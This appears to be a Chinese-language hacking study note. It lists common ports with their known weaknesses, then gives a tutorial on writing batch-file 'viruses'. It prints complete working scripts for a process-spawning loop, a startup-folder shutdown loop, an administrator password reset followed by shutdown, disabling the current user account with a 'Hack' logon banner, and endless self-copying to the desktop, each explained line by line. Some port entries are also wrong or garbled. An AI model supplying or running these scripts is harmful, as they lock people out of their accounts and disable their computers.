Target
了解常見端口及服務,熟練cmd命令,編寫簡單的 .bat 病毒程序。
Trail
常見服務及端口
80 web
80-89 可能是web
443 ssl心臟滴血漏洞以及一些web漏洞測試
445 smb
1433 mssql
1521 oracle
2082/2083 cpanel主機管理系統登陸(國外用的較多)
2222 da虛擬主機管理系統登陸(國外較多)
3128 squid代理默認端口-漫游內網
3306 mysql
3312/3311 kangle主機管理系統登陸
3389 遠程桌面
5432 postgreSQL
5900 vnc(shodan演示過了)
6379 redis(未授權)
7001,7002 weblogic 默認弱口令,反序列化
7778 kloxo主機控制面板登錄
8000-9090 一些常見的web端口,有些運維喜歡把管理后臺開這些非80端口上面
8080 tomcat、wdcp主機管理系統,默認弱口令
8080,8089,9090 jboss
8083 vestacp主機管理系統(國外較多)
8649 ganglia
8888 寶塔主機管理默認端口
10000 virtualmin/webmin服務器虛擬主機管理系統
11211 memcache未授權訪問
27017,27018 mongodb未授權訪問(shodan講過)
28017 mongodb統計系統頁面
其他
21 FTP 文件傳輸服務
22 SSH 遠程連接服務
23 Telnet 終端仿真服務
25 SMTP 簡單郵件傳輸服務
53 DNS 域名解析服務
69 TFTP 小文件傳輸協議
80 HTTP Web服務
110 POP3 郵局協議版本3
123 NTP 網絡時間協議
135 Microsoft RPC 遠程過程調用
139 NetBIOS 網絡基本輸入輸出系統
143 IMAP 互聯網郵件訪問協議
161 SNMP 簡單網絡管理協議
194 IRC 互聯網中繼聊天
443 HTTPS 安全超文本傳輸協議
514 Syslog 系統日志
445 Microsoft-DS 活動目錄服務
512,513,514膏 Rlogin, who, syslog
873 rsync 遠程文件同步服務
995 POP3S POP3安全版
993 IMAP4S IMAP4安全版
1080 SOCKS代理端口
1433 Microsoft SQL Server
1521 Oracle 數據庫監聽端口
1723 PPTP 點對點隧道協議
1940, 1941 H.323 網絡語音協議
2000, 2001 Apple Filing Protocol
2049 NFS 網絡文件系統
2121 FTP 另一個文件傳輸服務端口
2181 ActiveMQ 默認端口
2222, 22222, 5222 SSH, SFTP 另一個遠程連接服務端口
3000, 3001, 3003 Web 服務端口
3306 MySQL 數據庫服務端口
3389 Microsoft RDP 遠程桌面服務
4899 rlogin遠程登錄服務
5000 SlingShot IP over DNS tunneling
5001, 5002, 5003, 5004 WinRM Windows遠程管理服務
5050, 5051, 5052 ActiveMQ 默認端口
5060 SIP Session Initiation Protocol
5190 Jabber XMPP通信協議
5222 SIP Session Initiation Protocol
5269 XMPP Extensible Messaging and Presence Protocol
5298, 5299 Stun波音公司協議
5900 vnc遠程桌面服務
6000 X11 遠程顯示系統
6001, 6002, 6003, 6004, 6005, 6006, 6007 X11 遠程顯示系統
6379 Redis 鍵值存儲數據庫
7000, 7001 RealNetworks Helix服務器
7002 WebLogic 默認弱口令端口
8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009 Web 服務端口
8080 HTTP 代理服務端口
8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089 Web 服務端口
9100, 9101 HP JetDirect 打印服務
9200, 9300 Elasticsearch 搜索引擎
9500 Samba Windows文件共享服務
9600, 9700, 9800, 9900, 10000 Virtualmin/Webmin Web 服務端口
病毒編寫
一、彈窗型資源耗盡
hack.bat
start cmd
%0
?在一個批處理(.bat)文件中,
%0
是一個特殊的變量,它代表當前批處理文件本身的名稱即可以實現重復執行
二、無限重啟型病毒
echo shutdown /s /t 0 > hack.bat
copy hack.bat
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\"
?將自動重啟的bat文件添加到開啟自啟項
三、鎖機病毒
net user administrator 123456
shutdown /s /t 0
分析:更改密碼,關機
四、禁用當前用戶
@echo off
:: 獲取當前用戶名
for /f "tokens=2 delims=\ " %%a in ('whoami') do set username=%%a
:: 禁用當前用戶賬戶
net user %username% /active:no
:: 設置登錄提示信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "Hack !!!!!!!!" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "Neuro Hack !!!!!!!。" /f
:: 立刻關機
shutdown /s /t 0
分析
1.關閉回顯
?echo off :將批處理文件中所有命令的回顯功能關閉。關閉回顯后,批處理文件中的命 令將不會顯示在命令行窗口中,僅顯示命令的輸出結果。這樣可以讓腳本執行過程更清 潔,避免用戶看到每一條執行的命令。
@ :在批處理文件中使用 @ 符號,表示只在當前行關閉回顯(在該行不顯示此命令本 身)。在這里, @ 用來隱藏 echo off 命令本身的回顯。也就是說,用戶不會在命令行 窗口中看到 echo off 。
2.獲取用戶信息
cmd中可以使用 whoami 獲取當前用戶信息,但是 whoami 會包含用戶所處域的名稱,例 如 DESKTOP-12345\John ,我們需要使用腳本處理該段字符串,獲取后面的用戶名。
3.禁用當前用戶賬戶
net user %username% /active:no
4.設置登錄提示信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "xxx" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "xxx" /f使用 reg add 向注冊表中添加登錄提示信息
legalnoticecaption :設置提示框標題。 legalnoticetext :設置提示內容,這里可以自定義為“你已經被hack,你的賬戶已被鎖 定,請聯系管理員。”
5.立刻關閉主機
shutdown /s /t 0
腳本運行過程
1. 運行腳本:以管理員權限運行該批處理腳本。
2. 賬戶禁用:腳本會獲取當前用戶名,并將該用戶賬戶設置為禁用狀態。
3. 立刻關閉主機:腳本在禁用賬戶后會立刻關閉主機。
4. 嘗試重新登錄:當用戶再次登錄系統時,將顯示“賬戶已被鎖定,請聯系管理員”的提示。 5. 賬戶禁用效果:賬戶被禁用后,即使輸入正確的密碼也無法登錄系統。
五、無限復制
將自己無線復制到桌面
@echo off
setlocal enabledelayedexpansion
:: 獲取當前腳本文件路徑和文件名
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
:: 無限復制當前腳本到桌面
:loop
set /a count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop
1.
setlocal enabledelayedexpansion :啟用延遲變量擴展,這樣可以在循環中動態更新 變量的值。延遲擴展在批處理腳本中非常有用,特別是在處理循環時。
但實測后不加這個行代碼對當期那腳本無影響,可能最是對for循環有作用。?
2.
set scriptPath=%~f0 :獲取當前腳本文件的完整路徑,并將其存儲在變量 scriptPath 中。 %~f0 表示當前批處理文件的完整路徑。
set desktopPath=%USERPROFILE%\Desktop :獲取當前用戶桌面的路徑,將其存儲在變 量 desktopPath 中。 %USERPROFILE% 是系統環境變量,指向當前用戶的主文件夾路 徑。 ?
3.
?? 1) loop :定義一個標簽 loop ,用于無限循環的入口。
?? 2) set /a count+=1 :定義一個計數器 count ,并在每次循環時自增 1,用于生成唯一的 文件名, /a 告訴 set 命令對右側的表達式進行算術運算。
?? 3) copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat" :將當前腳本文件復制到 桌面,并命名為 Copy_1.bat 、 Copy_2.bat 等等。 %count% 確保每次復制文件的文件 名不同,以避免覆蓋。
?? 4)goto loop :跳轉回 loop 標簽,形成無限循環